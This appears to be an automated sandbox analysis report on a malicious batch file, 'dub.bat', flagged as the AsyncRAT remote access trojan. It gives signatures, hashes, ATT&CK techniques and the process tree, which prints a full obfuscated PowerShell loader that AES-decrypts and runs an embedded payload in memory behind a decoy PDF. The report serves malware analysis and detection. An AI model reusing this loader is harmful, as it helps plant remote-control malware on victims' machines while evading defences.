Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-02-2023 03:50

General

  • Target

    dub.bat

  • Size

    226KB

  • MD5

    cf81b345541f19ab200b4d0de4a64962

  • SHA1

    56dcdd340cb470fcd42c0cd1531d1eac8fcd7980

  • SHA256

    07a0759d5b376fc57f2ad9c5a32d59829934828b862591225c43421044ffd4ec

  • SHA512

    ac960f497fc3354831a76c1a385e95c65b66d862bd09e24b73bedb8e969d8221516e8d7a6eba257c5613c61d82d16305fd672a5112d441b97e5fefa0d88a7e97

  • SSDEEP

    6144:LiEz3MvivRRFAFNmR3QaqnMadPo7lNhkLPUoV:mivRRFsNmwulNeLcoV

Score
10/10

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dub.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:964
    • C:\Users\Admin\AppData\Local\Temp\dub.bat.exe
      "dub.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $utCHT = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\dub.bat').Split([Environment]::NewLine);foreach ($sWAOq in $utCHT) { if ($sWAOq.StartsWith(':: ')) { $upQKs = $sWAOq.Substring(3); break; }; };$JjLmi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($upQKs);$YkqlI = New-Object System.Security.Cryptography.AesManaged;$YkqlI.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YkqlI.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YkqlI.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kiFQHKEXvznY0Nsnm3fp94kgb604e6Feq9TQN777Yxs=');$YkqlI.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5Ca2LFqXHi3HVlKnNoz3+g==');$vFmBU = $YkqlI.CreateDecryptor();$JjLmi = $vFmBU.TransformFinalBlock($JjLmi, 0, $JjLmi.Length);$vFmBU.Dispose();$YkqlI.Dispose();$fuUUI = New-Object System.IO.MemoryStream(, $JjLmi);$gvEAD = New-Object System.IO.MemoryStream;$wMQDT = New-Object System.IO.Compression.GZipStream($fuUUI, [IO.Compression.CompressionMode]::Decompress);$wMQDT.CopyTo($gvEAD);$wMQDT.Dispose();$fuUUI.Dispose();$gvEAD.Dispose();$JjLmi = $gvEAD.ToArray();$vodVl = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($JjLmi);$UBeHH = $vodVl.EntryPoint;$UBeHH.Invoke($null, (, [string[]] ('')))
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\international_tariff_consumer.pdf"
        3⤵
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4824
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4344
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0D5C2E8456D11B87B7259BE2CD8DD6AA --mojo-platform-channel-handle=1744 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
              PID:3492
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=6BC7FF1122681FC1E47430731F4CECAF --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=6BC7FF1122681FC1E47430731F4CECAF --renderer-client-id=2 --mojo-platform-channel-handle=1756 --allow-no-sandbox-job /prefetch:1
              5⤵
                PID:4880
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=77F28B364B1D4DF417F5115F8B3B977E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=77F28B364B1D4DF417F5115F8B3B977E --renderer-client-id=4 --mojo-platform-channel-handle=2188 --allow-no-sandbox-job /prefetch:1
                5⤵
                  PID:2684
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=FE225CFDA142A00BAB27BA716FDD0939 --mojo-platform-channel-handle=2572 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                  5⤵
                    PID:4592
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7643A7BA676F9F4D2354CF3D8BB749E1 --mojo-platform-channel-handle=1808 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    5⤵
                      PID:3304
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=150611A030E1EB59485B96C1D7AECA6F --mojo-platform-channel-handle=2608 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:4436
              • C:\Windows\System32\CompPkgSrv.exe
                C:\Windows\System32\CompPkgSrv.exe -Embedding
                1⤵
                  PID:4304

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Defense Evasion

                Modify Registry

                1
                T1112

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                3
                T1082

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\dub.bat.exe
                  Filesize

                  442KB

                  MD5

                  04029e121a0cfa5991749937dd22a1d9

                  SHA1

                  f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                  SHA256

                  9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                  SHA512

                  6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                • C:\Users\Admin\AppData\Local\Temp\dub.bat.exe
                  Filesize

                  442KB

                  MD5

                  04029e121a0cfa5991749937dd22a1d9

                  SHA1

                  f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                  SHA256

                  9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                  SHA512

                  6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                • C:\Users\Admin\AppData\Local\Temp\international_tariff_consumer.pdf
                  Filesize

                  144KB

                  MD5

                  c11925db0aeee6ed50d287441b8e1cec

                  SHA1

                  38e8070658872826d9afdd17df1e73475f62a286

                  SHA256

                  ff75f9d0cad2ad4e55221d749a5ec0347d7b02df2da8c473d76ea1ba7aaeadb6

                  SHA512

                  9178f928fb370abcf3deb39fd7bd9e5edfc01f8424dd27cf6f0f030261b037b310aed46e651302ca0f9e3e91f692f3d49d0403db9d201388941760eec596c059

                • memory/2660-134-0x000001CC90040000-0x000001CC90062000-memory.dmp
                  Filesize

                  136KB

                • memory/2660-136-0x00007FF9E7FD0000-0x00007FF9E8A91000-memory.dmp
                  Filesize

                  10.8MB

                • memory/2660-132-0x0000000000000000-mapping.dmp
                • memory/2660-162-0x00007FF9E7FD0000-0x00007FF9E8A91000-memory.dmp
                  Filesize

                  10.8MB

                • memory/2684-149-0x0000000000000000-mapping.dmp
                • memory/3304-157-0x0000000000000000-mapping.dmp
                • memory/3492-141-0x0000000000000000-mapping.dmp
                • memory/4344-139-0x0000000000000000-mapping.dmp
                • memory/4436-160-0x0000000000000000-mapping.dmp
                • memory/4592-154-0x0000000000000000-mapping.dmp
                • memory/4824-137-0x0000000000000000-mapping.dmp
                • memory/4880-144-0x0000000000000000-mapping.dmp